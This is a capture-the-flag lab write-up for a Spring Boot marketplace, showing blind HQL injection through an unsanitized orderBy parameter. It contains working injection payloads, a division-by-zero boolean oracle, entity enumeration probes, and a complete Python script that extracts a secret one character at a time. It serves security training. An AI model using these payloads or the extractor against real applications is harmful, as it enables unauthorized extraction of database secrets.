Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY
Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_hql_injection_order_by, character_by_character_extraction_like, error_based_boolean_oracle_division_by_zero, hql_entity_enumeration, hql_vs_native_sql_distinction
Summary
Walkthrough of the CUSTOM Web Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY. Task: Spring Boot marketplace with unsanitized orderBy parameter concatenated into HQL ORDER BY clause. Solution: error-based blind HQL injection using division-by-zero oracle (1/COUNT) with LIKE pref
Description
You are testing MerchFlow, a B2B marketplace platform built by FlowLine Digital where vendors list products and buyers browse, search, and purchase items. The platform features a rich listing catalog with advanced filtering and sorting capabilities, user dashboards for managing orders and inventory, and a review system. Your goal is to find and exploit a vulnerability in the application to extract a secret stored in the platform's internal configuration. The flag is hidden somewhere in the database and is not exposed through any normal API endpoint. The application is built with Spring Boot 3.2, uses JPA/Hibernate for data access, and stores data in an embedded database (H2). Credentials: user@test.com / password123.
English summary: A Spring Boot 3.2 marketplace application with JPA/Hibernate and H2 database. The /api/listings endpoint accepts an orderBy parameter that is directly concatenated into an HQL ORDER BY clause without sanitization. The flag is stored in an AdminSetting entity in the database and must be extracted via blind injection.
Analysis
Reconnaissance
After logging in with the provided credentials, the frontend JavaScript (/js/listings.js) revealed the API endpoint /api/listings accepting parameters: page, size, orderBy, direction, search, category, minPrice, maxPrice.
The HTML footer contained a hint: <!-- Platform config managed via internal AdminSetting service -->. Multiple decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) were embedded in HTML comments and hidden divs — all fake.
Injection Point Discovery
The orderBy parameter is directly concatenated into the HQL query's ORDER BY clause. Key observations:
- Valid field names (
price,createdAt,rating,title) returntotalElements: 24 - Invalid or error-causing values return
totalElements: 0(the error is caught and an empty response is returned) - Comma-separated expressions work:
price,CASEWHEN(1=1,1,1/0)→ 24 results;price,CASEWHEN(1=2,1,1/0)→ 0 results
HQL vs Native SQL
This is HQL (Hibernate Query Language), not native SQL:
(SELECT COUNT(*) FROM Listing)works (HQL entity name)(SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES)fails (native SQL table)
This distinction is critical — all queries must use JPA entity names and field names, not database table/column names.
Entity Enumeration
Discovered entities by testing (SELECT COUNT(*) FROM EntityName):
| Entity | Exists | Notes |
|---|---|---|
Listing | ✅ | 24 records |
User | ✅ | — |
Review | ✅ | — |
AdminSetting | ✅ | Target entity |
| |
Discovered AdminSetting fields by testing subqueries with field references:
settingKey— valid fieldsettingValue— valid field, contains the flag wheresettingKey='flag'
Oracle Construction
The key challenge was building a reliable boolean oracle in HQL's ORDER BY context. Several approaches failed:
- CASEWHEN with entity subqueries:
CASEWHEN((SELECT COUNT(*) FROM AdminSetting)=X,1,1/0)— HQL can't parse entity names inside H2's native CASEWHEN function arguments - CASE WHEN inside subqueries:
(SELECT CASE WHEN ... THEN 1 ELSE 1/0 END FROM AdminSetting a WHERE ...)— HQL limitation in ORDER BY context - Arithmetic with subquery results:
1/((SELECT ASCII(...) FROM AdminSetting a WHERE ...)-70)— HQL evaluates subquery and arithmetic separately, division by zero doesn't propagate as expected
Working oracle — division by COUNT with LIKE filter:
price,1/(SELECT COUNT(*) FROM AdminSetting a WHERE a.settingValue LIKE 'PREFIX%')
- If
PREFIXmatches the start ofsettingValue:COUNT >= 1, so1/COUNTsucceeds → 24 results returned - If
PREFIXdoesn't match:COUNT = 0, so1/0causes division-by-zero error → 0 results (error caught, empty response)
Verification:
LIKE 'FLAG{%'→ 24 results ✅ (match)LIKE 'XXXX%'→ 0 results ✅ (no match)
Solution
Character-by-character extraction using the LIKE-based boolean oracle. For each position, try characters from a prioritized charset (hex digits first, since the flag format is FLAG{32-hex-chars}). Each correct character extends the known prefix.
python read-only • copy allowed#!/usr/bin/env python3 """Blind HQL Injection flag extractor for MerchFlow""" import requests import string import sys import urllib3 urllib3.disable_warnings() TARGET = "https://TARGET.labs.hackadvisor.io" SESSION_COOKIE = "SESSION_ID_HERE" # Characters to try - FLAG format is FLAG{hex} so prioritize hex chars CHARSET = "0123456789abcdef_}" + string.ascii_lowercase + string.ascii_uppercase + "{-" session = requests.Session() session.cookies.set('JSESSIONID', SESSION_COOKIE) session.verify = False def check_prefix(prefix): """Returns True if the settingValue starts with the given prefix""" # Escape special LIKE characters escaped = prefix.replace("'", "''").replace("%", "\\%").replace("_", "\\_") # HQL injection payload: division by zero when COUNT=0 (no match) orderby = f"price,1/(SELECT COUNT(*) FROM AdminSetting a WHERE a.settingValue LIKE '{escaped}%')" params = { 'page': '0', 'size': '3', 'orderBy': orderby, 'direction': 'ASC' } try: resp = session.get(f"{TARGET}/api/listings", params=params, timeout=15) data = resp.json() return data.get('totalElements', 0) > 0 except Exception: return False def extract_flag(): known = "FLAG{" print(f"Starting extraction with prefix: {known}", flush=True) if not check_prefix(known): print("ERROR: Initial prefix 'FLAG{' doesn't match!") return None print(f"Confirmed prefix: {known}", flush=True) while len(known) < 50: found = False for c in CHARSET: test = known + c if check_prefix(test): known = test print(f"[{len(known):2d}] Found: {known}", flush=True) found = True if c == '}': print(f"\n*** FLAG FOUND: {known} ***", flush=True) return known break if not found: print(f"\nNo more characters found. Current: {known}", flush=True) break return known if __name__ == "__main__": flag = extract_flag() if flag: print(f"\nFinal result: {flag}", flush=True)
Extraction performance: ~300 HTTP requests total for the 38-character flag (FLAG{ + 32 hex chars + }), averaging ~8 requests per character position.
Key Takeaways / Lessons
- Mastering blind_hql_injection_order_by, character_by_character_extraction_like, error_based_boolean_oracle_division_by_zero, hql_entity_enumeration, hql_vs_native_sql_distinction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-23 • CUSTOM • Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY • Difficulty: Medium